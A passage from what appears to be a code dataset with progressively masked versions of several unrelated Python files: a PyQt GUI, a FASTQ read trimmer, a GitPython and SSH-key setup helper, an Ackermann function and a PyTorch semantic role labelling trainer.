self.setLayout(hbox)\n \n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main_window = MainWindow()\n sys.exit(app.exec_())", "step-ids": [ 5, 6, 7, 9, 10 ] }
[ 5, 6, 7, 9, 10 ]
<|reserved_special_token_0|> def main(): trim = sys.stdin.read() if len(sys.argv) > 7: trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim) else: print( 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]' ) sys.exit() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def trim_reads(fastq, selection, extra_cut, orientation, output, outputType, seqLen, trim): ids = [] with open(selection, 'r') as f: for line in f: ids.append(line.strip()) trim_pros = {} for line in trim.split('\n'): if len(line): line = line.split('\t') if line[0] == 'read name': if line[1] == 'end position' and orientation != 3 or line[1 ] == 'start position' and orientation != 5: print( "Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position." ) sys.exit() else: trim_pros[line[0]] = int(line[1]) with open(output, 'w') as o: with open(fastq, 'r') as f: while True: identifier = f.readline() sequence = f.readline() plus = f.readline() quality = f.readline() if not identifier or not sequence or not plus or not quality: break read_id = identifier.strip()[1:].split(' ')[0] if read_id in ids: if read_id in trim_pros: if orientation == 3: cut = trim_pros[read_id] + extra_cut sequence = sequence[cut:cut + seqLen].strip() quality = quality[cut:cut + seqLen].strip() if orientation == 5: cut = trim_pros[read_id] - extra_cut sequence = sequence[max(cut - seqLen, 0):cut] quality = quality[max(cut - seqLen, 0):cut] if len(sequence) >= seqLen: if outputType == 'fasta': o.write('>' + identifier[1:]) o.write(sequence[:seqLen] + '\n') else: o.write(identifier) o.write(sequence[:seqLen] + '\n') o.write(plus) o.write(quality[:seqLen] + '\n') def main(): trim = sys.stdin.read() if len(sys.argv) > 7: trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim) else: print( 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]' ) sys.exit() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def trim_reads(fastq, selection, extra_cut, orientation, output, outputType, seqLen, trim): ids = [] with open(selection, 'r') as f: for line in f: ids.append(line.strip()) trim_pros = {} for line in trim.split('\n'): if len(line): line = line.split('\t') if line[0] == 'read name': if line[1] == 'end position' and orientation != 3 or line[1 ] == 'start position' and orientation != 5: print( "Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position." ) sys.exit() else: trim_pros[line[0]] = int(line[1]) with open(output, 'w') as o: with open(fastq, 'r') as f: while True: identifier = f.readline() sequence = f.readline() plus = f.readline() quality = f.readline() if not identifier or not sequence or not plus or not quality: break read_id = identifier.strip()[1:].split(' ')[0] if read_id in ids: if read_id in trim_pros: if orientation == 3: cut = trim_pros[read_id] + extra_cut sequence = sequence[cut:cut + seqLen].strip() quality = quality[cut:cut + seqLen].strip() if orientation == 5: cut = trim_pros[read_id] - extra_cut sequence = sequence[max(cut - seqLen, 0):cut] quality = quality[max(cut - seqLen, 0):cut] if len(sequence) >= seqLen: if outputType == 'fasta': o.write('>' + identifier[1:]) o.write(sequence[:seqLen] + '\n') else: o.write(identifier) o.write(sequence[:seqLen] + '\n') o.write(plus) o.write(quality[:seqLen] + '\n') def main(): trim = sys.stdin.read() if len(sys.argv) > 7: trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim) else: print( 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]' ) sys.exit() if __name__ == '__main__': main() <|reserved_special_token_1|> import sys def trim_reads(fastq, selection, extra_cut, orientation, output, outputType, seqLen, trim): ids = [] with open(selection, 'r') as f: for line in f: ids.append(line.strip()) trim_pros = {} for line in trim.split('\n'): if len(line): line = line.split('\t') if line[0] == 'read name': if line[1] == 'end position' and orientation != 3 or line[1 ] == 'start position' and orientation != 5: print( "Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position." ) sys.exit() else: trim_pros[line[0]] = int(line[1]) with open(output, 'w') as o: with open(fastq, 'r') as f: while True: identifier = f.readline() sequence = f.readline() plus = f.readline() quality = f.readline() if not identifier or not sequence or not plus or not quality: break read_id = identifier.strip()[1:].split(' ')[0] if read_id in ids: if read_id in trim_pros: if orientation == 3: cut = trim_pros[read_id] + extra_cut sequence = sequence[cut:cut + seqLen].strip() quality = quality[cut:cut + seqLen].strip() if orientation == 5: cut = trim_pros[read_id] - extra_cut sequence = sequence[max(cut - seqLen, 0):cut] quality = quality[max(cut - seqLen, 0):cut] if len(sequence) >= seqLen: if outputType == 'fasta': o.write('>' + identifier[1:]) o.write(sequence[:seqLen] + '\n') else: o.write(identifier) o.write(sequence[:seqLen] + '\n') o.write(plus) o.write(quality[:seqLen] + '\n') def main(): trim = sys.stdin.read() if len(sys.argv) > 7: trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim) else: print( 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]' ) sys.exit() if __name__ == '__main__': main() <|reserved_special_token_1|> #!/usr/bin/env python import sys def trim_reads(fastq, selection, extra_cut, orientation, output, outputType, seqLen, trim): # Store all read/sequence ids that did not match with KoRV ids = [] with open(selection, 'r') as f: for line in f: ids.append(line.strip()) # Store trimming position for each read/sequence id trim_pros = {} for line in trim.split('\n'): if len(line): line = line.split('\t') if (line[0] == 'read name'): if (line[1] == 'end position' and orientation != 3) or \ (line[1] == 'start position' and orientation != 5): print('Wrong setting! 3\' trimming needs the end position' 'and 3\' trimming needs the start position.') sys.exit() else: trim_pros[line[0]] = int(line[1]) # Read fastq file line by line and copy a sequence to a new fastq file if: # 1. Read did not align against KoRV (id is in selection) # 2. Line is not blank # 3. Sequence length is greater than the given seqLen with open(output, 'w') as o: with open(fastq, 'r') as f: while True: identifier = f.readline() sequence = f.readline() plus = f.readline() quality = f.readline() if not identifier or not sequence or \ not plus or not quality: break read_id = identifier.strip()[1:].split(' ')[0] if read_id in ids: if read_id in trim_pros: if (orientation == 3): cut = trim_pros[read_id] + extra_cut sequence = sequence[cut:(cut + seqLen)].strip() quality = quality[cut:(cut + seqLen)].strip() if (orientation == 5): cut = trim_pros[read_id] - extra_cut sequence = sequence[max(cut - seqLen, 0):cut] quality = quality[max(cut - seqLen, 0):cut] if (len(sequence) >= seqLen): if (outputType == 'fasta'): o.write('>' + identifier[1:]) o.write(sequence[:seqLen] + '\n') else: o.write(identifier) o.write(sequence[:seqLen] + '\n') o.write(plus) o.write(quality[:seqLen] + '\n') ############# # MAIN # ############# def main(): trim = sys.stdin.read() if len(sys.argv) > 7: trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim) else: print("trim_reads.py [fastq] [selection] [extracut] [orientation] " "[output] [format] [maxlen] < [trimming-info]") sys.exit() if __name__ == "__main__": main()
flexible
{ "blob_id": "3f3ed40bf800eddb2722171d5fd94f6c292162de", "index": 5865, "step-1": "<mask token>\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if line[0] == 'read name':\n if line[1] == 'end position' and orientation != 3 or line[1\n ] == 'start position' and orientation != 5:\n print(\n \"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position.\"\n )\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n if not identifier or not sequence or not plus or not quality:\n break\n read_id = identifier.strip()[1:].split(' ')[0]\n if read_id in ids:\n if read_id in trim_pros:\n if orientation == 3:\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:cut + seqLen].strip()\n quality = quality[cut:cut + seqLen].strip()\n if orientation == 5:\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n if len(sequence) >= seqLen:\n if outputType == 'fasta':\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if line[0] == 'read name':\n if line[1] == 'end position' and orientation != 3 or line[1\n ] == 'start position' and orientation != 5:\n print(\n \"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position.\"\n )\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n if not identifier or not sequence or not plus or not quality:\n break\n read_id = identifier.strip()[1:].split(' ')[0]\n if read_id in ids:\n if read_id in trim_pros:\n if orientation == 3:\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:cut + seqLen].strip()\n quality = quality[cut:cut + seqLen].strip()\n if orientation == 5:\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n if len(sequence) >= seqLen:\n if outputType == 'fasta':\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import sys\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if line[0] == 'read name':\n if line[1] == 'end position' and orientation != 3 or line[1\n ] == 'start position' and orientation != 5:\n print(\n \"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position.\"\n )\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n if not identifier or not sequence or not plus or not quality:\n break\n read_id = identifier.strip()[1:].split(' ')[0]\n if read_id in ids:\n if read_id in trim_pros:\n if orientation == 3:\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:cut + seqLen].strip()\n quality = quality[cut:cut + seqLen].strip()\n if orientation == 5:\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n if len(sequence) >= seqLen:\n if outputType == 'fasta':\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "#!/usr/bin/env python\nimport sys\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n\n # Store all read/sequence ids that did not match with KoRV\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n\n # Store trimming position for each read/sequence id\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if (line[0] == 'read name'):\n if (line[1] == 'end position' and orientation != 3) or \\\n (line[1] == 'start position' and orientation != 5):\n print('Wrong setting! 3\\' trimming needs the end position'\n 'and 3\\' trimming needs the start position.')\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n\n # Read fastq file line by line and copy a sequence to a new fastq file if:\n # 1. Read did not align against KoRV (id is in selection)\n # 2. Line is not blank\n # 3. Sequence length is greater than the given seqLen\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n\n if not identifier or not sequence or \\\n not plus or not quality:\n break\n\n read_id = identifier.strip()[1:].split(' ')[0]\n\n if read_id in ids:\n if read_id in trim_pros:\n if (orientation == 3):\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:(cut + seqLen)].strip()\n quality = quality[cut:(cut + seqLen)].strip()\n if (orientation == 5):\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n\n if (len(sequence) >= seqLen):\n if (outputType == 'fasta'):\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\n#############\n# MAIN #\n#############\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]),\n int(sys.argv[4]), sys.argv[5], sys.argv[6],\n int(sys.argv[7]), trim)\n else:\n print(\"trim_reads.py [fastq] [selection] [extracut] [orientation] \"\n \"[output] [format] [maxlen] < [trimming-info]\")\n sys.exit()\n\nif __name__ == \"__main__\":\n main()\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import logging import subprocess from pathlib import Path from typing import Union from git import Repo def init_repo(metadata: str, path: str, deep_clone: bool) -> Repo: clone_path = Path(path) if not clone_path.exists(): logging.info('Cloning %s', metadata) repo = (Repo.clone_from(metadata, clone_path) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)) else: repo = Repo(clone_path) return repo def init_ssh(key: str, key_path: Path) -> None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(0o400) scan = subprocess.run([ 'ssh-keyscan', '-t', 'rsa', 'github.com' ], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [ x.a_path for x in repo.index.diff(None)]: return True return False
normal
{ "blob_id": "cb2dd08a09d2e39bd83f82940c3d9a79a5a27918", "index": 6523, "step-1": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-3": "<mask token>\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-4": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-5": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) -> Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = (Repo.clone_from(metadata, clone_path)\n if deep_clone else\n Repo.clone_from(metadata, clone_path, depth=1))\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) -> None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(0o400)\n scan = subprocess.run([\n 'ssh-keyscan', '-t', 'rsa', 'github.com'\n ], stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [\n x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
# coding: utf-8 #ack program with the ackermann_function """ ackermann_function """ def ack(m,n): #n+1 if m = 0 if m is 0: return n + 1 #A(m−1, 1) if m > 0 and n = 0 if m > 0 and n is 0: return ack(m-1, 1) #A(m−1, A(m, n−1)) if m > 0 and n > 0 if m > 0 and n > 0: return ack(m-1, ack(m, n - 1)) if __name__ == "__main__": expected = [[1,2,3,4,5], [2,3,4,5,6], [3,5,7,9,11], [5,13,29,61,125]] ok = True for m in range(4): for n in range(5): actual = ack(m,n) if not actual == expected[m][n]: print "error" ok = False if ok: print "All tests pass"
normal
{ "blob_id": "0ecd2a298203365b20b2369a99c3c1d7c0646f19", "index": 34, "step-1": "# coding: utf-8\n#ack program with the ackermann_function\n\n\"\"\" ackermann_function \"\"\"\ndef ack(m,n):\n #n+1 if m = 0\n if m is 0:\n \treturn n + 1\n #A(m−1, 1) if m > 0 and n = 0 \n if m > 0 and n is 0:\n \treturn ack(m-1, 1)\n #A(m−1, A(m, n−1)) if m > 0 and n > 0\n if m > 0 and n > 0:\n \treturn ack(m-1, ack(m, n - 1))\n\nif __name__ == \"__main__\":\n\texpected = [[1,2,3,4,5],\n\t\t\t\t[2,3,4,5,6],\n\t\t\t\t[3,5,7,9,11],\n\t\t\t\t[5,13,29,61,125]]\n\tok = True\n\tfor m in range(4):\n\t\tfor n in range(5):\n\t\t\tactual = ack(m,n)\n\t\t\tif not actual == expected[m][n]:\n\t\t\t\tprint \"error\"\n\t\t\t\tok = False\n\tif ok:\n\t\tprint \"All tests pass\"\n\n\t", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def train(num_epochs=30): lossfunction = nn.CrossEntropyLoss() trainset = TrainDataSet() model = BiAffineSrlModel(vocabs=trainset.vocabs) optimizer = torch.optim.Adam(model.parameters(), lr=0.01) since = time.time() best_model_wts = copy.deepcopy(model.state_dict()) best_f = FScore() for epoch in range(num_epochs): print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr) print('-' * 10, file=sys.stderr) for phase in ['train', 'dev']: model.train(phase == 'train') running_loss = 0.0 running_f = FScore() for sentence in pb.progressbar(trainset.get_set(phase)): model.zero_grad() role_p = model(*sentence['inputs']) _, predict = torch.max(role_p, 1) loss = lossfunction(role_p, autograd.Variable(sentence[ 'targets'][0])) if phase == 'train': loss.backward() optimizer.step() if epoch > 28: print(predict.data) print(sentence['targets'][0]) running_loss += loss.data[0] running_f.update(predict, sentence['targets'][0]) print('\n{} Loss: {:.4f} {}'.format(phase, running_loss, running_f), file=sys.stderr) if phase == 'dev' and running_f > best_f: best_f = running_f best_model_wts = copy.deepcopy(model.state_dict()) print('', file=sys.stderr) time_elapsed = time.time() - since print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60), file=sys.stderr) print('Best val F: {}s'.format(best_f), file=sys.stderr) model.load_state_dict(best_model_wts) return model <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> config.add_option('-m', '--mode', dest='mode', default='train', type= 'string', help='[train|eval|pred]', action='store') config.add_option('--seed', dest='seed', default=1, type='int', help= 'torch random seed', action='store') def train(num_epochs=30): lossfunction = nn.CrossEntropyLoss() trainset = TrainDataSet() model = BiAffineSrlModel(vocabs=trainset.vocabs) optimizer = torch.optim.Adam(model.parameters(), lr=0.01) since = time.time() best_model_wts = copy.deepcopy(model.state_dict()) best_f = FScore() for epoch in range(num_epochs): print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr) print('-' * 10, file=sys.stderr) for phase in ['train', 'dev']: model.train(phase == 'train') running_loss = 0.0 running_f = FScore() for sentence in pb.progressbar(trainset.get_set(phase)): model.zero_grad() role_p = model(*sentence['inputs']) _, predict = torch.max(role_p, 1) loss = lossfunction(role_p, autograd.Variable(sentence[ 'targets'][0])) if phase == 'train': loss.backward() optimizer.step() if epoch > 28: print(predict.data) print(sentence['targets'][0]) running_loss += loss.data[0] running_f.update(predict, sentence['targets'][0]) print('\n{} Loss: {:.4f} {}'.format(phase, running_loss, running_f), file=sys.stderr) if phase == 'dev' and running_f > best_f: best_f = running_f best_model_wts = copy.deepcopy(model.state_dict()) print('', file=sys.stderr) time_elapsed = time.time() - since print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60), file=sys.stderr) print('Best val F: {}s'.format(best_f), file=sys.stderr) model.load_state_dict(best_model_wts) return model if __name__ == '__main__': config.parse_args() torch.manual_seed(config.get_option('seed')) mode = config.get_option('mode') if mode == 'train': train() else: NotImplementedError() <|reserved_special_token_1|> import sys import torch from torch import nn, autograd import config import time import copy import progressbar as pb from dataset import TrainDataSet from model import BiAffineSrlModel from fscore import FScore config.add_option('-m', '--mode', dest='mode', default='train', type= 'string', help='[train|eval|pred]', action='store') config.add_option('--seed', dest='seed', default=1, type='int', help= 'torch random seed', action='store') def train(num_epochs=30): lossfunction = nn.CrossEntropyLoss() trainset = TrainDataSet() model = BiAffineSrlModel(vocabs=trainset.vocabs) optimizer = torch.optim.Adam(model.parameters(), lr=0.01) since = time.time() best_model_wts = copy.deepcopy(model.state_dict()) best_f = FScore() for epoch in range(num_epochs): print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr) print('-' * 10, file=sys.stderr) for phase in ['train', 'dev']: model.train(phase == 'train') running_loss = 0.0 running_f = FScore() for sentence in pb.progressbar(trainset.get_set(phase)): model.zero_grad() role_p = model(*sentence['inputs']) _, predict = torch.max(role_p, 1) loss = lossfunction(role_p, autograd.Variable(sentence[ 'targets'][0])) if phase == 'train': loss.backward() optimizer.step() if epoch > 28: print(predict.data) print(sentence['targets'][0]) running_loss += loss.data[0] running_f.update(predict, sentence['targets'][0]) print('\n{} Loss: {:.4f} {}'.format(phase, running_loss, running_f), file=sys.stderr) if phase == 'dev' and running_f > best_f: best_f = running_f best_model_wts = copy.deepcopy(model.state_dict()) print('', file=sys.stderr) time_elapsed = time.time() - since print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60), file=sys.stderr) print('Best val F: {}s'.format(best_f), file=sys.stderr) model.load_state_dict(best_model_wts) return model if __name__ == '__main__': config.parse_args() torch.manual_seed(config.get_option('seed')) mode = config.get_option('mode') if mode == 'train': train() else: NotImplementedError() <|reserved_special_token_1|> #!/usr/bin/env python # -*- coding: utf-8 -*- import sys import torch from torch import nn, autograd import config import time import copy import progressbar as pb from dataset import TrainDataSet from model import BiAffineSrlModel from fscore import FScore config.add_option('-m', '--mode', dest='mode', default='train', type='string', help='[train|eval|pred]', action='store') config.add_option('--seed', dest='seed', default=1, type='int', help='torch random seed', action='store') def train(num_epochs = 30): lossfunction = nn.CrossEntropyLoss() trainset = TrainDataSet() model = BiAffineSrlModel(vocabs=trainset.vocabs) optimizer 